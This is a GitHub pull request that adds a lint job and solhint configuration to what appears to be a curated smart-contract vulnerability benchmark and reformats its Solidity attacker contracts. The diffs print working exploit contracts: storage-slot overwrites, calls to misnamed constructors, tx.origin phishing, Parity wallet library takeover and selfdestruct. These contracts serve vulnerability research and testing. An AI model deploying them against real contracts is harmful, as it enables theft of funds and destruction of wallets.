Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add linting commands #35

Merged
merged 6 commits into from
Nov 1, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 18 additions & 10 deletions .github/workflows/ci.yml
Original file line number Diff line number Diff line change
Expand Up @@ -9,23 +9,31 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Checkout Repository
uses: actions/checkout@v2
uses: actions/checkout@v4

- name: Environment
uses: actions/setup-node@v3

- name: Cache Node Modules
id: cache-node-modules
uses: actions/cache@v2
with:
path: 'smartbugs-curated/0.4.x/node_modules'
key: node-modules-${{ hashFiles('**/package-lock.json') }}
uses: actions/setup-node@v4

- name: Install Dependencies
if: steps.cache-node-modules.outputs.cache-hit != 'true'
run: |
cd smartbugs-curated/0.4.x
npm ci
- name: Run Tests
run: |
cd smartbugs-curated/0.4.x
npx hardhat test
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4

- name: Setup Node.js
uses: actions/setup-node@v4

- name: Install dependencies
working-directory: smartbugs-curated/0.4.x
run: npm ci

- name: Run lint
working-directory: smartbugs-curated/0.4.x
run: npm run lint
22 changes: 22 additions & 0 deletions smartbugs-curated/0.4.x/.solhint.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
{
"extends": "solhint:default",
"rules": {
"avoid-tx-origin": "warn",
"const-name-snakecase": "warn",
"contract-name-camelcase": "warn",
"event-name-camelcase": "warn",
"explicit-types": "warn",
"func-name-mixedcase": "warn",
"func-param-name-mixedcase": "warn",
"imports-on-top": "warn",
"modifier-name-mixedcase": "warn",
"no-console": "warn",
"no-global-import": "warn",
"no-unused-vars": "warn",
"quotes": "warn",
"use-forbidden-name": "warn",
"var-name-mixedcase": "warn",
"visibility-modifier-order": "warn"
}

}
1 change: 1 addition & 0 deletions smartbugs-curated/0.4.x/.solhintignore
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
contracts/dataset
Original file line number Diff line number Diff line change
@@ -1,9 +1,8 @@
pragma solidity ^0.4.22;

contract FibonacciBalanceAttacker {
uint storageSlot0; // corresponds to fibonacciLibrary
uint storageSlot1; // corresponds to calculatedFibNumber

uint256 storageSlot0; // corresponds to fibonacciLibrary
uint256 storageSlot1; // corresponds to calculatedFibNumber

// fallback - this will run if a specified function is not found
function() public {
Expand All @@ -15,7 +14,10 @@ contract FibonacciBalanceAttacker {

function attack(address victim) public {
// we call withdraw to send out ether
bool success = victim.call(bytes4(keccak256("setStart(uint256)")), uint256(address(this)));
bool success = victim.call(
bytes4(keccak256("setStart(uint256)")),
uint256(address(this))
);
require(success);
}
}
}
Original file line number Diff line number Diff line change
@@ -1,22 +1,22 @@
pragma solidity ^0.4.25;
pragma solidity ^0.4.25;

import "../dataset/access_control/arbitrary_location_write_simple.sol";
contract WalletAttacker {
contract WalletAttacker {
Wallet public target;

constructor(address _target) public {
target = Wallet(_target);
}
constructor(address _target) public {
target = Wallet(_target);
}

function attack(address new_owner) public {
target.PopBonusCode();
uint256 slotIndex = uint256(keccak256(abi.encodePacked(uint256(0))));
uint256 overwriteIndex = 2**256 -1 - slotIndex + 1 + 1;
uint256 overwriteIndex = 2 ** 256 - 1 - slotIndex + 1 + 1;

target.UpdateBonusCodeAt(overwriteIndex, uint(new_owner));
target.UpdateBonusCodeAt(overwriteIndex, uint256(new_owner));
}

function test() public {
target.Destroy();
}
}
}
Original file line number Diff line number Diff line change
@@ -1,18 +1,19 @@
pragma solidity ^0.4.15;
pragma solidity ^0.4.15;

import "../dataset/access_control/incorrect_constructor_name1.sol";
import "../dataset/access_control/incorrect_constructor_name1.sol";

contract MissingAttacker{

contract MissingAttacker {
Missing target;

constructor(address _target) public {
target = Missing(_target);
}

function attack() public {
bytes memory data = abi.encodeWithSelector(bytes4(keccak256("IamMissing()")));

bytes memory data = abi.encodeWithSelector(
bytes4(keccak256("IamMissing()"))
);

(bool success, ) = target.call(data);
require(success, "Attack failed");
}
Expand All @@ -21,7 +22,5 @@
target.withdraw();
}

function () public payable {
}

}
function() public payable {}
}
Original file line number Diff line number Diff line change
@@ -1,18 +1,19 @@
pragma solidity ^0.4.15;
pragma solidity ^0.4.15;

import "../dataset/access_control/incorrect_constructor_name2.sol";
import "../dataset/access_control/incorrect_constructor_name2.sol";

contract MissingAttacker{

contract MissingAttacker {
Missing target;

constructor(address _target) public {
target = Missing(_target);
}

function attack() public {
bytes memory data = abi.encodeWithSelector(bytes4(keccak256("missing()")));

bytes memory data = abi.encodeWithSelector(
bytes4(keccak256("missing()"))
);

(bool success, ) = target.call(data);
require(success, "Attack failed");
}
Expand All @@ -21,7 +22,5 @@
target.withdraw();
}

function () public payable {
}

}
function() public payable {}
}
Original file line number Diff line number Diff line change
@@ -1,18 +1,19 @@
pragma solidity ^0.4.15;
pragma solidity ^0.4.15;

import "../dataset/access_control/incorrect_constructor_name3.sol";
import "../dataset/access_control/incorrect_constructor_name3.sol";

contract MissingAttacker{

contract MissingAttacker {
Missing target;

constructor(address _target) public {
target = Missing(_target);
}

function attack() public {
bytes memory data = abi.encodeWithSelector(bytes4(keccak256("Constructor()")));

bytes memory data = abi.encodeWithSelector(
bytes4(keccak256("Constructor()"))
);

(bool success, ) = target.call(data);
require(success, "Attack failed");
}
Expand All @@ -21,7 +22,5 @@
target.withdraw();
}

function () public payable {
}

}
function() public payable {}
}
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
pragma solidity ^0.4.24;
pragma solidity ^0.4.24;

import "../dataset/access_control/mapping_write.sol";

Expand All @@ -15,15 +15,14 @@ contract MapAttacker {
target.set(key, value);

uint256 slotIndex = uint256(keccak256(abi.encodePacked(uint256(1))));
uint256 overwriteIndex = 2**256 -1 - slotIndex + 1;
uint256 overwriteIndex = 2 ** 256 - 1 - slotIndex + 1;

target.set(overwriteIndex, uint(new_owner));
target.set(overwriteIndex, uint256(new_owner));
}

function withdraw_from_victim() public {
target.withdraw();
}

function () public payable {
}
}
function() public payable {}
}
Original file line number Diff line number Diff line change
Expand Up @@ -18,4 +18,4 @@ contract TestContractAttacker {
}

function() public payable {}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -3,16 +3,18 @@ pragma solidity ^0.4.24;
import "../dataset/access_control/mycontract.sol";

contract MyContractAttacker {

MyContract phishableContract;
address attacker; // The attackers address to receive funds.

constructor (MyContract _phishableContract, address _attackerAddress) public {
constructor(
MyContract _phishableContract,
address _attackerAddress
) public {
phishableContract = _phishableContract;
attacker = _attackerAddress;
}

function () payable public {
function() public payable {
phishableContract.sendTo(attacker, 1 ether);
}
}
}
Original file line number Diff line number Diff line change
@@ -1,10 +1,8 @@
pragma solidity ^0.4.9;


import "../dataset/access_control/parity_wallet_bug_2.sol";

contract WalletLibraryAttacker {

WalletLibrary target;

function WalletLibraryAttacker(address _target) {
Expand All @@ -17,4 +15,4 @@ contract WalletLibraryAttacker {
target.initWallet(_owners, 1, 0);
target.kill(address(this));
}
}
}
Original file line number Diff line number Diff line change
@@ -1,18 +1,17 @@
pragma solidity ^0.4.22;
pragma solidity ^0.4.22;

import "../dataset/access_control/phishable.sol";

contract PhishableAttacker {

Phishable phishableContract;
address attacker; // The attackers address to receive funds.

constructor (Phishable _phishableContract, address _attackerAddress) public {
constructor(Phishable _phishableContract, address _attackerAddress) public {
phishableContract = _phishableContract;
attacker = _attackerAddress;
}

function () payable public {
function() public payable {
phishableContract.withdrawAll(attacker);
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -3,25 +3,24 @@ pragma solidity ^0.4.24;
import "../dataset/access_control/proxy.sol";

contract ProxyAttacker {

Proxy public target;

constructor(Proxy _target) public {
target = _target;
}

function attack() public {
target.forward(address(this),
abi.encodeWithSignature("call(address)", address(this)));
target.forward(
address(this),
abi.encodeWithSignature("call(address)", address(this))
);
}

function call(address receiver) public {
receiver.transfer(address(this).balance);
}

function benign() public {
}
function benign() public {}

function() public payable {}

}
}
Original file line number Diff line number Diff line change
Expand Up @@ -4,14 +4,13 @@ import "../dataset/access_control/simple_suicide.sol";
contract SimpleSuicideAttacker {
SimpleSuicide target;

constructor (address _target) public {
constructor(address _target) public {
target = SimpleSuicide(_target);
}

function attack() public {
target.sudicideAnyone();
}

function () public payable {
}
}
function() public payable {}
}
Loading
Loading